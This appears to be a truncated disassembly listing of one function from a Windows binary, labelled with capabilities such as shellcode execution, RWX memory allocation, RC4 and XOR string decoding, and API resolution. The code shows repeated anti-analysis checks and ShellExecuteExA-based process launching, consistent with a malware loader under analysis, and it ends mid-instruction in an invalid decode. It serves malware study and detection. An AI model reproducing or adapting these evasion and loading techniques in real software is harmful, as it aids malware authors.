Function at 0x14000eb9c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.14007d840
sub rsp, rax
mov rax, qword [0x1400d5700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x4c]
movabs r13, 0x73f4444133b9be68
mov r12d, 0xd52a0b2
cmp rax, r12
jne 0x14000ec93
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ec73
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ec73
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ec93
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov ecx, r12d
call fcn.1400081e4
mov rax, qword gs:[0x4c]
mov ebx, 0x29bf948
mov r14d, 0x2dce72d
cmp rax, r12
jne 0x14000ed5e
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ed3e
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ed3e
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ed5e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
mov esi, 0xeff52f41
cmp rax, r12
jne 0x14000ee0d
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000eded
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000eded
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ee0d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov ecx, r12d
call fcn.14000e120
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000eebf
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ee9f
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ee9f
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000eebf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000ef78
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ef58
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ef58
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ef78
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
lea rdx, [0x1400c9fa0]
lea rcx, [rbp + 0x998]
call fcn.140007ba8
mov rdx, rax
mov ecx, r12d
call fcn.14000a4d8
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f040
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f020
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f020
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f040
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f0f9
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f0d9
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f0d9
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f0f9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov dword [rbp + 0x90], 0x1ce22ec7
mov dword [rbp + 0x94], 0x158f7249
mov word [rbp + 0x98], WSACleanup
xor r15d, r15d
mov edi, r15d
mov esi, 0xffdaa8de
mov qword [rsp + 0x20], rsi
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.14001e364
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x14000f121
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x4c]
cmp rax, r12
mov esi, 0xeff52f41
jne 0x14000f218
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f1f8
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f1f8
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f218
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f2c2
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f2a2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f2a2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f2c2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov dword [rbp + 0x1f0], 0x70e1d811
mov dword [rbp + 0x1f4], 0x359db86b
mov dword [rbp + 0x1f8], 0xe5b29a57
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
mov esi, 0xffdaa8de
mov qword [rsp + 0x20], rsi
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.14001e004
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x14000f2f0
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x4c]
cmp rax, r12
mov esi, 0xeff52f41
jne 0x14000f3f6
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f3d6
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f3d6
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f3f6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14000e368
test eax, eax
jne 0x14000f698
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400a70a0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14000f50e
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400a70a0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x920e8259
mov word [rbp - 0x6c], reloc.WS2_32.dll_recv
mov esi, 0xffdaa8de
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001e2f8
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x14000f47e
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14001dcb5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14000f513
mov esi, 0xffdaa8de
mov word [rsp + 0x78], __WSAFDIsSet
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x95
lea rcx, [rsp + 0x78]
call fcn.14001e1b8
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14000e1e8
mov rbx, rax
movdqa xmm0, xmmword [0x1400caa50]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400ca7e0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xe010a8a5
mov dword [rbp + 0xc1c], 0xd58c30a2
mov dword [rbp + 0xc20], 0x1dd2e4be
mov word [rbp + 0xc24], 0x79
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.14001e28c
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x14000f598
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14001f2dc
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14001f49c
lea rcx, [rbp + 0x9d8]
call fcn.14001edf4
lea rcx, [rbp + 0x9b8]
call fcn.14001edf4
movdqa xmm0, xmmword [0x1400ca6e0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0x46
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.14001dde4
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x14000f631
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.14001ea48
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f742
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f722
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f722
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f742
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f7f2
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f7d2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f7d2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f7f2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f89c
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f87c
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f87c
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f89c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f955
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f935
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f935
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f955
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000f9ff
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f9df
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f9df
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f9ff
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
xor ecx, ecx
call fcn.140085314
mov rbx, rax
mov word [rsp + 0x7c], Ordinal_211
mov r13d, 0xffdaa8de
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xce
lea rcx, [rsp + 0x7c]
call fcn.14001e1b8
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0xd39f5dcf
mov word [rbp - 0x5c], 0x40b5
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.14001e074
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x14000fa4e
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400887f4
mov rax, qword gs:[0x4c]
cmp rax, r12
movabs r13, 0x73f4444133b9be68
jne 0x14000fb49
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fb29
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fb29
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fb49
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000fbf3
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fbd3
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fbd3
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fbf3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov ecx, 2
call fcn.140085314
mov rbx, rax
mov word [rbp - 0x80], 0xcb
mov r13d, 0xffdaa8de
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0xcb
lea rcx, [rbp - 0x80]
call fcn.14001e1b8
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x4efdf32d
mov dword [rbp - 0x34], 0x1fd337
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.14001e220
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14000fc3d
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400887f4
mov rax, qword gs:[0x4c]
cmp rax, r12
movabs r13, 0x73f4444133b9be68
jne 0x14000fd37
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fd17
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fd17
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fd37
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
cmp rax, r12
jne 0x14000fdf2
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov eax, 0x29bf948
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fdd2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fdd2
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fdf2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov ecx, 1
call fcn.140085314
mov rbx, rax
mov word [rbp - 0x7c], 0xcb
mov esi, 0xffdaa8de
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xcb
lea rcx, [rbp - 0x7c]
call fcn.14001e1b8
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x4efdf32d
mov dword [rbp - 0x2c], 0x1fd337
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.14001e220
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14000fe3b
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400887f4
mov rax, qword gs:[0x4c]
cmp rax, r12
mov esi, 0xeff52f41
jne 0x14000ff30
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ff10
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ff10
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ff30
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
mov rax, qword gs:[0x4c]
mov ebx, 0x29bf948
cmp rax, r12
jne 0x14000ffed
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x52]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ffcd
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ffcd
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ffed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083f48
int3
movdqa xmm0, xmmword [0x1400ca830]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400ca930]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400ca910]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x9690c2d2
mov dword [rbp + 0xd4c], 0xae1791f5
mov dword [rbp + 0xd50], 0x8a4bd49b
mov word [rbp + 0xd54], 0xe49c
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
mov r13d, 0xffdaa8de
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14001e14c
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x140010055
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140007a4c
mov rax, qword gs:[0x4c]
cmp rax, r12
movabs r13, 0x73f4444133b9be68
jne 0x140010150
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x52]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x52]
mov rax, qword [rbp + 0xf30]
add byte [rax + 0x3b], cl
invalid
je 0x140010130
mov rcx, qword gs:[0x52]